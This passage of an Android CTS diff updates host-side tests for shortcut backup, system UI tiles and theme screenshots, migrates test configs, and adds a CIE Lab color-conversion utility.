-        getDevice().uninstallPackage(LAUNCHER2_PKG);
-        getDevice().uninstallPackage(LAUNCHER3_PKG);
+        uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER1_PKG);
+        uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER2_PKG);
+        uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER3_PKG);
+        uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER1_PKG);
+        uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER2_PKG);
+        uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER3_PKG);
 
-        getDevice().uninstallPackage(PUBLISHER1_PKG);
-        getDevice().uninstallPackage(PUBLISHER2_PKG);
-        getDevice().uninstallPackage(PUBLISHER3_PKG);
+
+        // Make sure the shortcut service handled all the uninstall broadcasts.
+        waitUntilPackagesGone();
+
+        // Do it one more time just in case...
+        waitUntilBroadcastsDrain();
 
         // Then restore
         doRestore();
 
+        dumpsys("After restore");
+
         // First, restore launcher 1, which shouldn't see any shortcuts from the packages yet.
         installAppAsUser(LAUNCHER1_APK, getPrimaryUserId());
         runDeviceTestsAsUser(LAUNCHER1_PKG, ".ShortcutManagerPostBackupTest",
@@ -202,9 +298,11 @@
         }
 
         installAppAsUser(PUBLISHER1_APK, getPrimaryUserId());
+        installAppAsUser(PUBLISHER3_APK, getPrimaryUserId());
 
         // Prepare shortcuts
         runDeviceTestsAsUser(PUBLISHER1_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+        runDeviceTestsAsUser(PUBLISHER3_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
 
         // Backup & restore.
         doBackup();
@@ -214,5 +312,9 @@
         runDeviceTestsAsUser(PUBLISHER1_PKG, ".ShortcutManagerPostBackupTest",
                 "testWithNoUninstall",
                 getPrimaryUserId());
+
+        runDeviceTestsAsUser(PUBLISHER3_PKG, ".ShortcutManagerPostBackupTest",
+                "testWithNoUninstall",
+                getPrimaryUserId());
     }
 }
\ No newline at end of file
diff --git a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java
index a74ab45..3c265ba 100644
--- a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java
+++ b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java
@@ -51,8 +51,11 @@
                 "test02_createShortuctsOnPrimaryUser", getPrimaryUserId());
         runDeviceTestsAsUser(TARGET_PKG, ".ShortcutManagerManagedUserTest",
                 "test03_createShortuctsOnManagedProfile", profileId);
+
         runDeviceTestsAsUser(TARGET_PKG, ".ShortcutManagerManagedUserTest",
-                "test04_getAndLaunch", getPrimaryUserId());
+                "test04_getAndLaunch_primary", getPrimaryUserId());
+        runDeviceTestsAsUser(TARGET_PKG, ".ShortcutManagerManagedUserTest",
+                "test05_getAndLaunch_managed", profileId);
     }
 
     public void testSecondaryUser() throws Exception {
diff --git a/hostsidetests/sustainedperf/Android.mk b/hostsidetests/sustainedperf/Android.mk
index 22c6d45..a9f06e4 100644
--- a/hostsidetests/sustainedperf/Android.mk
+++ b/hostsidetests/sustainedperf/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_COMPATIBILITY_SUITE := cts
 
 LOCAL_MODULE := CtsSustainedPerformanceHostTestCases
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt compatibility-host-util
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/sustainedperf/AndroidTest.xml b/hostsidetests/sustainedperf/AndroidTest.xml
index ae5cc27..e7cbee8 100644
--- a/hostsidetests/sustainedperf/AndroidTest.xml
+++ b/hostsidetests/sustainedperf/AndroidTest.xml
@@ -14,11 +14,12 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Sustained Performance host test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSustainedPerformanceTestCases.apk" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSustainedPerformanceDeviceTestApp.apk" />
     </target_preparer>
@@ -29,5 +30,6 @@
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsSustainedPerformanceHostTestCases.jar" />
+        <option name="runtime-hint" value="8m30s" />
     </test>
 </configuration>
diff --git a/hostsidetests/systemui/Android.mk b/hostsidetests/systemui/Android.mk
index 1c0dd06..d4305f5 100644
--- a/hostsidetests/systemui/Android.mk
+++ b/hostsidetests/systemui/Android.mk
@@ -22,9 +22,7 @@
 
 LOCAL_MODULE := CtsSystemUiHostTestCases
 
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt compatibility-host-util
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-migration-lib
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
 LOCAL_CTS_TEST_PACKAGE := android.host.systemui
 
diff --git a/hostsidetests/systemui/AndroidTest.xml b/hostsidetests/systemui/AndroidTest.xml
index c8b1883..18e44ee 100644
--- a/hostsidetests/systemui/AndroidTest.xml
+++ b/hostsidetests/systemui/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS System UI host test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="sysui" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSystemUiDeviceApp.apk" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsSystemUiHostTestCases.jar" />
+        <option name="runtime-hint" value="11m" />
     </test>
 </configuration>
diff --git a/hostsidetests/systemui/src/android/host/systemui/ActiveTileServiceTest.java b/hostsidetests/systemui/src/android/host/systemui/ActiveTileServiceTest.java
index 3f91c20..339518a 100644
--- a/hostsidetests/systemui/src/android/host/systemui/ActiveTileServiceTest.java
+++ b/hostsidetests/systemui/src/android/host/systemui/ActiveTileServiceTest.java
@@ -25,14 +25,15 @@
     private static final String ACTION_REQUEST_LISTENING =
             "android.sysui.testtile.REQUEST_LISTENING";
 
-    private static final String REQUEST_LISTENING = "am broadcast -a " + ACTION_REQUEST_LISTENING;
+    private static final String REQUEST_LISTENING = "am broadcast -a " + ACTION_REQUEST_LISTENING
+            + " " + PACKAGE;
 
     public ActiveTileServiceTest() {
         super(SERVICE);
     }
 
     public void testNotListening() throws Exception {
-        if (!supportedHardware()) return;
+        if (!supported()) return;
         addTile();
         assertTrue(waitFor("onDestroy"));
 
@@ -43,7 +44,7 @@
     }
 
     public void testRequestListening() throws Exception {
-        if (!supportedHardware()) return;
+        if (!supported()) return;
         addTile();
         assertTrue(waitFor("onDestroy"));
 
@@ -54,7 +55,7 @@
     }
 
     public void testClick() throws Exception {
-        if (!supportedHardware()) return;
+        if (!supported()) return;
         addTile();
         assertTrue(waitFor("onDestroy"));
 
diff --git a/hostsidetests/systemui/src/android/host/systemui/BaseTileServiceTest.java b/hostsidetests/systemui/src/android/host/systemui/BaseTileServiceTest.java
index 0ae861b..5140de1 100644
--- a/hostsidetests/systemui/src/android/host/systemui/BaseTileServiceTest.java
+++ b/hostsidetests/systemui/src/android/host/systemui/BaseTileServiceTest.java
@@ -19,7 +19,7 @@
 
 public class BaseTileServiceTest extends DeviceTestCase {
     // Constants for generating commands below.
-    private static final String PACKAGE = "android.systemui.cts";
+    protected static final String PACKAGE = "android.systemui.cts";
     private static final String ACTION_SHOW_DIALOG = "android.sysui.testtile.action.SHOW_DIALOG";
 
     // Commands used on the device.
@@ -33,6 +33,7 @@
 
     private static final String SHOW_DIALOG = "am broadcast -a " + ACTION_SHOW_DIALOG;
 
+    public static final String REQUEST_SUPPORTED = "cmd statusbar check-support";
     public static final String TEST_PREFIX = "TileTest_";
 
     // Time between checks for logs we expect.
@@ -63,7 +64,7 @@
     protected void tearDown() throws Exception {
         super.tearDown();
 
-        if (!supportedHardware()) return;
+        if (!supported()) return;
         collapse();
         remTile();
         // Try to wait for a onTileRemoved.
@@ -124,7 +125,16 @@
         getDevice().executeAdbCommand("logcat", "-c");
     }
 
-    protected boolean supportedHardware() throws DeviceNotAvailableException {
+    protected boolean supported() throws DeviceNotAvailableException {
+        return supportedHardware() && supportedSoftware();
+    }
+
+    private boolean supportedSoftware() throws DeviceNotAvailableException {
+        String supported = getDevice().executeShellCommand(REQUEST_SUPPORTED);
+        return Boolean.parseBoolean(supported);
+    }
+
+    private boolean supportedHardware() throws DeviceNotAvailableException {
         String features = getDevice().executeShellCommand("pm list features");
         return !features.contains("android.hardware.type.television") &&
                !features.contains("android.hardware.type.watch");
diff --git a/hostsidetests/systemui/src/android/host/systemui/TileServiceTest.java b/hostsidetests/systemui/src/android/host/systemui/TileServiceTest.java
index 0c06935..4924c57 100644
--- a/hostsidetests/systemui/src/android/host/systemui/TileServiceTest.java
+++ b/hostsidetests/systemui/src/android/host/systemui/TileServiceTest.java
@@ -33,7 +33,7 @@
     }
 
     public void testAddTile() throws Exception {
-        if (!supportedHardware()) return;
+        if (!supported()) return;
         addTile();
         // Verify that the service starts up and gets a onTileAdded callback.
         assertTrue(waitFor("onCreate"));
@@ -42,7 +42,7 @@
     }
 
     public void testRemoveTile() throws Exception {
-        if (!supportedHardware()) return;
+        if (!supported()) return;
         addTile();
         // Verify that the service starts up and gets a onTileAdded callback.
         assertTrue(waitFor("onCreate"));
@@ -54,7 +54,7 @@
     }
 
     public void testListeningNotifications() throws Exception {
-        if (!supportedHardware()) return;
+        if (!supported()) return;
         addTile();
         assertTrue(waitFor("onDestroy"));
 
@@ -67,7 +67,7 @@
     }
 
     public void testListeningSettings() throws Exception {
-        if (!supportedHardware()) return;
+        if (!supported()) return;
         addTile();
         assertTrue(waitFor("onDestroy"));
 
@@ -80,7 +80,7 @@
     }
 
     public void testCantAddDialog() throws Exception {
-        if (!supportedHardware()) return;
+        if (!supported()) return;
         addTile();
         assertTrue(waitFor("onDestroy"));
 
@@ -98,7 +98,7 @@
     }
 
     public void testClick() throws Exception {
-        if (!supportedHardware()) return;
+        if (!supported()) return;
         addTile();
         // Wait for the tile to be added.
         assertTrue(waitFor("onTileAdded"));
@@ -120,7 +120,7 @@
     }
 
     public void testClickAndShowDialog() throws Exception {
-        if (!supportedHardware()) return;
+        if (!supported()) return;
         addTile();
         assertTrue(waitFor("onDestroy"));
 
@@ -139,7 +139,7 @@
     }
 
     public void testStartActivity() throws Exception {
-        if (!supportedHardware()) return;
+        if (!supported()) return;
         addTile();
         // Wait for the tile to be added.
         assertTrue(waitFor("onTileAdded"));
diff --git a/hostsidetests/theme/Android.mk b/hostsidetests/theme/Android.mk
index 00ca6ba..7d1d18c 100644
--- a/hostsidetests/theme/Android.mk
+++ b/hostsidetests/theme/Android.mk
@@ -18,16 +18,20 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_RESOURCE_DIRS := assets/
+# Special handling for pre-release builds where the SDK version has not been
+# updated, in which case we'll use the version codename (ex. "O").
+ifeq (REL,$(PLATFORM_VERSION_CODENAME))
+    LOCAL_JAVA_RESOURCE_DIRS := assets/$(PLATFORM_SDK_VERSION)/
+else
+    LOCAL_JAVA_RESOURCE_DIRS := assets/$(PLATFORM_VERSION_CODENAME)/
+endif
 
 LOCAL_MODULE_TAGS := optional
 
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_MODULE := CtsThemeHostTestCases
 
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt compatibility-host-util
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-migration-lib
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
 LOCAL_CTS_TEST_PACKAGE := android.host.theme
 
diff --git a/hostsidetests/theme/AndroidTest.xml b/hostsidetests/theme/AndroidTest.xml
index 50418ec..fb5d6bb 100644
--- a/hostsidetests/theme/AndroidTest.xml
+++ b/hostsidetests/theme/AndroidTest.xml
@@ -14,12 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Theme host test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsThemeDeviceApp.apk" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsThemeHostTestCases.jar" />
-        <option name="runtime-hint" value="5h2m34s" />
+        <option name="runtime-hint" value="7m30s" />
     </test>
 </configuration>
diff --git a/hostsidetests/theme/README b/hostsidetests/theme/README
index 76902e4..38baf10 100644
--- a/hostsidetests/theme/README
+++ b/hostsidetests/theme/README
@@ -39,8 +39,8 @@
      adb devices
 
   2. Image generation occurs on all devices in parallel. Resulting sets of
-     reference images are saved in assets/<dpi>.zip and will overwrite
-     any existing sets. Image generation may be started using:
+     reference images are saved in assets/<platform>/<dpi>.zip and will
+     overwrite any existing sets. Image generation may be started using:
 
      ./cts/hostsidetests/theme/generate_images.sh
 
@@ -91,7 +91,6 @@
 
   3. Wait for the tests to complete. This should take less than five minutes.
 
-If any tests failures are encountered, diff PNGs will be generated and collected
-in a ZIP file in the tmp directory. Look for the following test output:
-
-  I/ThemeHostTest: Wrote <N> failures to file: /tmp/failures<random-number>.zip
+If any test failures are encountered, diff PNGs will be generated and collected
+in the "diffs" directory of the CTS results indicated by "Test Result:" in the
+test output.
diff --git a/hostsidetests/theme/android_device.py b/hostsidetests/theme/android_device.py
index 6687494..4c7d8d1 100644
--- a/hostsidetests/theme/android_device.py
+++ b/hostsidetests/theme/android_device.py
@@ -31,6 +31,7 @@
     def runAdbCommand(self, cmd):
         self.waitForAdbDevice()
         adbCmd = "adb -s %s %s" %(self._adbDevice, cmd)
+        print adbCmd
         adbProcess = subprocess.Popen(adbCmd.split(" "), bufsize = -1, stdout = subprocess.PIPE, stderr = subprocess.PIPE)
         return adbProcess.communicate()
 
@@ -38,6 +39,7 @@
         return self.runAdbCommand("shell " + cmd)
 
     def waitForAdbDevice(self):
+        print "waitForAdbDevice"
         os.system("adb -s %s wait-for-device" %self._adbDevice)
 
     def waitForBootComplete(self, timeout = 240):
@@ -67,7 +69,7 @@
         return "Success" in result
 
     def runInstrumentationTest(self, option):
-        return self.runShellCommand("am instrument -w " + option)
+        return self.runShellCommand("am instrument -w --no-window-animation " + option)
 
     def isProcessAlive(self, processName):
         (out, err) = self.runShellCommand("ps")
@@ -77,6 +79,12 @@
         # uid. So only use name like com.android.xyz
         return processName in names
 
+    def getVersionSdkInt(self):
+        return int(self.runShellCommand("getprop ro.build.version.sdk")[0])
+
+    def getVersionCodename(self):
+        return self.runShellCommand("getprop ro.build.version.codename")[0].strip()
+
     def getDensity(self):
         if "emulator" in self._adbDevice:
           return int(self.runShellCommand("getprop qemu.sf.lcd_density")[0])
@@ -89,6 +97,13 @@
     def getOrientation(self):
         return int(self.runShellCommand("dumpsys | grep SurfaceOrientation")[0].split()[1])
 
+    # Running dumpsys on the emulator currently yields a SIGSEGV, so don't do it.
+    #
+    #def getHWType(self):
+    #    (output, err) = self.runShellCommand("dumpsys | grep android.hardware.type")
+    #    output = output.strip()
+    #    return output
+
 def runAdbDevices():
     devices = subprocess.check_output(["adb", "devices"])
     devices = devices.split('\n')[1:]
diff --git a/hostsidetests/theme/app/Android.mk b/hostsidetests/theme/app/Android.mk
index e55a9b6..5f6b11c 100644
--- a/hostsidetests/theme/app/Android.mk
+++ b/hostsidetests/theme/app/Android.mk
@@ -30,9 +30,8 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-#Flags to tell the Android Asset Packaging Tool not to strip for some densities
-LOCAL_AAPT_FLAGS = -c land -c xx_YY -c cs -c small -c normal -c large -c xlarge \
- -c 640dpi -c 560dpi -c 480dpi -c 400dpi -c 320dpi -c 240dpi -c 213dpi -c 160dpi -c 120dpi
+#Flag to tell the Android Asset Packaging Tool not to strip for some densities
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
 
 LOCAL_PACKAGE_NAME := CtsThemeDeviceApp
 
diff --git a/hostsidetests/theme/app/AndroidManifest.xml b/hostsidetests/theme/app/AndroidManifest.xml
index d9a89c6..2a03db9 100755
--- a/hostsidetests/theme/app/AndroidManifest.xml
+++ b/hostsidetests/theme/app/AndroidManifest.xml
@@ -25,13 +25,16 @@
 
     <application>
         <uses-library android:name="android.test.runner" />
-        <activity android:name=".ThemeDeviceActivity" android:screenOrientation="portrait">
+        <activity android:name=".ThemeDeviceActivity"
+                  android:screenOrientation="portrait">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
-        <activity android:name=".GenerateImagesActivity" android:screenOrientation="portrait"
+        <activity android:name=".GenerateImagesActivity"
+                  android:screenOrientation="portrait"
+                  android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation"
                   android:exported="true" />
     </application>
 
diff --git a/hostsidetests/theme/assets/24/360dpi.zip b/hostsidetests/theme/assets/24/360dpi.zip
deleted file mode 100755
index 98782d5..0000000
--- a/hostsidetests/theme/assets/24/360dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/24/hdpi.zip b/hostsidetests/theme/assets/24/hdpi.zip
deleted file mode 100644
index d9dc466..0000000
--- a/hostsidetests/theme/assets/24/hdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/24/tvdpi.zip b/hostsidetests/theme/assets/24/tvdpi.zip
deleted file mode 100644
index b9ef65a..0000000
--- a/hostsidetests/theme/assets/24/tvdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/26/360dpi.zip b/hostsidetests/theme/assets/26/360dpi.zip
new file mode 100644
index 0000000..80b0527
--- /dev/null
+++ b/hostsidetests/theme/assets/26/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/26/420dpi.zip b/hostsidetests/theme/assets/26/420dpi.zip
new file mode 100644
index 0000000..2d3f70b
--- /dev/null
+++ b/hostsidetests/theme/assets/26/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/26/560dpi.zip b/hostsidetests/theme/assets/26/560dpi.zip
new file mode 100644
index 0000000..88d481e
--- /dev/null
+++ b/hostsidetests/theme/assets/26/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/26/hdpi.zip b/hostsidetests/theme/assets/26/hdpi.zip
new file mode 100644
index 0000000..68702ef
--- /dev/null
+++ b/hostsidetests/theme/assets/26/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/26/mdpi.zip b/hostsidetests/theme/assets/26/mdpi.zip
new file mode 100644
index 0000000..d90714c
--- /dev/null
+++ b/hostsidetests/theme/assets/26/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/26/xhdpi.zip b/hostsidetests/theme/assets/26/xhdpi.zip
new file mode 100644
index 0000000..c2e2ed0
--- /dev/null
+++ b/hostsidetests/theme/assets/26/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/26/xxhdpi.zip b/hostsidetests/theme/assets/26/xxhdpi.zip
new file mode 100644
index 0000000..6e018fa
--- /dev/null
+++ b/hostsidetests/theme/assets/26/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/26/xxxhdpi.zip b/hostsidetests/theme/assets/26/xxxhdpi.zip
new file mode 100644
index 0000000..bcbee87
--- /dev/null
+++ b/hostsidetests/theme/assets/26/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/420dpi.zip b/hostsidetests/theme/assets/420dpi.zip
deleted file mode 100644
index bf70d35..0000000
--- a/hostsidetests/theme/assets/420dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/560dpi.zip b/hostsidetests/theme/assets/560dpi.zip
deleted file mode 100644
index 74e2228..0000000
--- a/hostsidetests/theme/assets/560dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/hdpi.zip b/hostsidetests/theme/assets/hdpi.zip
deleted file mode 100644
index 6cc2d50..0000000
--- a/hostsidetests/theme/assets/hdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/mdpi.zip b/hostsidetests/theme/assets/mdpi.zip
deleted file mode 100644
index a350ff6..0000000
--- a/hostsidetests/theme/assets/mdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/xhdpi.zip b/hostsidetests/theme/assets/xhdpi.zip
deleted file mode 100644
index cceab80..0000000
--- a/hostsidetests/theme/assets/xhdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/xxhdpi.zip b/hostsidetests/theme/assets/xxhdpi.zip
deleted file mode 100644
index 05f2b8d..0000000
--- a/hostsidetests/theme/assets/xxhdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/xxxhdpi.zip b/hostsidetests/theme/assets/xxxhdpi.zip
deleted file mode 100644
index f4e0713..0000000
--- a/hostsidetests/theme/assets/xxxhdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/run_theme_capture_device.py b/hostsidetests/theme/run_theme_capture_device.py
index a516717..d37864f 100755
--- a/hostsidetests/theme/run_theme_capture_device.py
+++ b/hostsidetests/theme/run_theme_capture_device.py
@@ -27,7 +27,6 @@
 CTS_THEME_dict = {
     120 : "ldpi",
     160 : "mdpi",
-    213 : "tvdpi",
     240 : "hdpi",
     320 : "xhdpi",
     480 : "xxhdpi",
@@ -97,11 +96,21 @@
     print "Found device: " + deviceSerial
     device = androidDevice(deviceSerial)
 
+    version = device.getVersionCodename()
+    if version == "REL":
+        version = str(device.getVersionSdkInt())
+
     density = device.getDensity()
+
+    # Reference images generated for tv should not be categorized by density
+    # rather by tv type. This is because TV uses leanback-specific material
+    # themes.
     if CTS_THEME_dict.has_key(density):
-        resName = CTS_THEME_dict[density]
+        densityBucket = CTS_THEME_dict[density]
     else:
-        resName = str(density) + "dpi"
+        densityBucket = str(density) + "dpi"
+
+    resName = os.path.join(version, densityBucket)
 
     device.uninstallApk("android.theme.app")
 
diff --git a/hostsidetests/theme/src/android/theme/cts/ColorUtils.java b/hostsidetests/theme/src/android/theme/cts/ColorUtils.java
new file mode 100644
index 0000000..0bbc9c7
--- /dev/null
+++ b/hostsidetests/theme/src/android/theme/cts/ColorUtils.java
@@ -0,0 +1,198 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.theme.cts;
+
+/**
+ * A set of color-related utility methods, building upon those available in {@code Color}.
+ */
+public class ColorUtils {
+
+    private static final double XYZ_WHITE_REFERENCE_X = 95.047;
+    private static final double XYZ_WHITE_REFERENCE_Y = 100;
+    private static final double XYZ_WHITE_REFERENCE_Z = 108.883;
+    private static final double XYZ_EPSILON = 0.008856;
+    private static final double XYZ_KAPPA = 903.3;
+
+    private ColorUtils() {}
+
+    /**
+     * Performs alpha blending of two colors using Porter-Duff SRC_OVER.
+     *
+     * @param src
+     * @param dst
+     */
+    public static int blendSrcOver(int src, int dst) {
+        int x = 255 - a(src);
+        int Ar = clamp(a(src) + a(dst) * x);
+        int Rr = clamp(r(src) + r(dst) * x);
+        int Gr = clamp(g(src) + g(dst) * x);
+        int Br = clamp(b(src) + b(dst) * x);
+        return argb(Ar, Rr, Gr, Br);
+    }
+
+    private static int clamp(int value) {
+        return value > 255 ? 255 : value < 0 ? 0 : value;
+    }
+
+    /**
+     * Return a color-int from alpha, red, green, blue components.
+     * These component values should be \([0..255]\), but there is no
+     * range check performed, so if they are out of range, the
+     * returned color is undefined.
+     *
+     * @param alpha Alpha component \([0..255]\) of the color
+     * @param red Red component \([0..255]\) of the color
+     * @param green Green component \([0..255]\) of the color
+     * @param blue Blue component \([0..255]\) of the color
+     */
+    public static int argb(int alpha, int red, int green, int blue) {
+        return (alpha << 24) | (red << 16) | (green << 8) | blue;
+    }
+
+    /**
+     * Return the alpha component of a color int. This is the same as saying
+     * color >>> 24
+     */
+    public static int a(int color) {
+        return color >>> 24;
+    }
+
+    /**
+     * Return the red component of a color int. This is the same as saying
+     * (color >> 16) & 0xFF
+     */
+    public static int r(int color) {
+        return (color >> 16) & 0xFF;
+    }
+
+    /**
+     * Return the green component of a color int. This is the same as saying
+     * (color >> 8) & 0xFF
+     */
+    public static int g(int color) {
+        return (color >> 8) & 0xFF;
+    }
+
+    /**
+     * Return the blue component of a color int. This is the same as saying
+     * color & 0xFF
+     */
+    public static int b(int color) {
+        return color & 0xFF;
+    }
+
+    /**
+     * Convert the ARGB color to its CIE Lab representative components.
+     *
+     * @param color  the ARGB color to convert. The alpha component is ignored
+     * @param outLab 3-element array which holds the resulting LAB components
+     */
+    public static void colorToLAB(int color, double[] outLab) {
+        RGBToLAB(r(color), g(color), b(color), outLab);
+    }
+
+    /**
+     * Convert RGB components to its CIE Lab representative components.
+     *
+     * <ul>
+     * <li>outLab[0] is L [0 ...1)</li>
+     * <li>outLab[1] is a [-128...127)</li>
+     * <li>outLab[2] is b [-128...127)</li>
+     * </ul>
+     *
+     * @param r      red component value [0..255]
+     * @param g      green component value [0..255]
+     * @param b      blue component value [0..255]
+     * @param outLab 3-element array which holds the resulting LAB components
+     */
+    public static void RGBToLAB(int r, int g, int b, double[] outLab) {
+        // First we convert RGB to XYZ
+        RGBToXYZ(r, g, b, outLab);
+        // outLab now contains XYZ
+        XYZToLAB(outLab[0], outLab[1], outLab[2], outLab);
+        // outLab now contains LAB representation
+    }
+
+    /**
+     * Convert RGB components to its CIE XYZ representative components.
+     *
+     * <p>The resulting XYZ representation will use the D65 illuminant and the CIE
+     * 2° Standard Observer (1931).</p>
+     *
+     * <ul>
+     * <li>outXyz[0] is X [0 ...95.047)</li>
+     * <li>outXyz[1] is Y [0...100)</li>
+     * <li>outXyz[2] is Z [0...108.883)</li>
+     * </ul>
+     *
+     * @param r      red component value [0..255]
+     * @param g      green component value [0..255]
+     * @param b      blue component value [0..255]
+     * @param outXyz 3-element array which holds the resulting XYZ components
+     */
+    public static void RGBToXYZ(int r, int g, int b, double[] outXyz) {
+        if (outXyz.length != 3) {
+            throw new IllegalArgumentException("outXyz must have a length of 3.");
+        }
+
+        double sr = r / 255.0;
+        sr = sr < 0.04045 ? sr / 12.92 : Math.pow((sr + 0.055) / 1.055, 2.4);
+        double sg = g / 255.0;
+        sg = sg < 0.04045 ? sg / 12.92 : Math.pow((sg + 0.055) / 1.055, 2.4);
+        double sb = b / 255.0;
+        sb = sb < 0.04045 ? sb / 12.92 : Math.pow((sb + 0.055) / 1.055, 2.4);
+
+        outXyz[0] = 100 * (sr * 0.4124 + sg * 0.3576 + sb * 0.1805);
+        outXyz[1] = 100 * (sr * 0.2126 + sg * 0.7152 + sb * 0.0722);
+        outXyz[2] = 100 * (sr * 0.0193 + sg * 0.1192 + sb * 0.9505);
+    }
+
+    /**
+     * Converts a color from CIE XYZ to CIE Lab representation.
+     *
+     * <p>This method expects the XYZ representation to use the D65 illuminant and the CIE
+     * 2° Standard Observer (1931).</p>
+     *
+     * <ul>
+     * <li>outLab[0] is L [0 ...1)</li>
+     * <li>outLab[1] is a [-128...127)</li>
+     * <li>outLab[2] is b [-128...127)</li>
+     * </ul>
+     *
+     * @param x      X component value [0...95.047)
+     * @param y      Y component value [0...100)
+     * @param z      Z component value [0...108.883)
+     * @param outLab 3-element array which holds the resulting Lab components
+     */
+    public static void XYZToLAB(double x, double y, double z, double[] outLab) {
+        if (outLab.length != 3) {
+            throw new IllegalArgumentException("outLab must have a length of 3.");
+        }
+        x = pivotXyzComponent(x / XYZ_WHITE_REFERENCE_X);
+        y = pivotXyzComponent(y / XYZ_WHITE_REFERENCE_Y);
+        z = pivotXyzComponent(z / XYZ_WHITE_REFERENCE_Z);
+        outLab[0] = Math.max(0, 116 * y - 16);
+        outLab[1] = 500 * (x - y);
+        outLab[2] = 200 * (y - z);
+    }
+
+    private static double pivotXyzComponent(double component) {
+        return component > XYZ_EPSILON
+                ? Math.pow(component, 1 / 3.0)
+                : (XYZ_KAPPA * component + 16) / 116;
+    }
+}
diff --git a/hostsidetests/theme/src/android/theme/cts/ComparisonTask.java b/hostsidetests/theme/src/android/theme/cts/ComparisonTask.java
index d9ed8a1..74ead54 100755
--- a/hostsidetests/theme/src/android/theme/cts/ComparisonTask.java
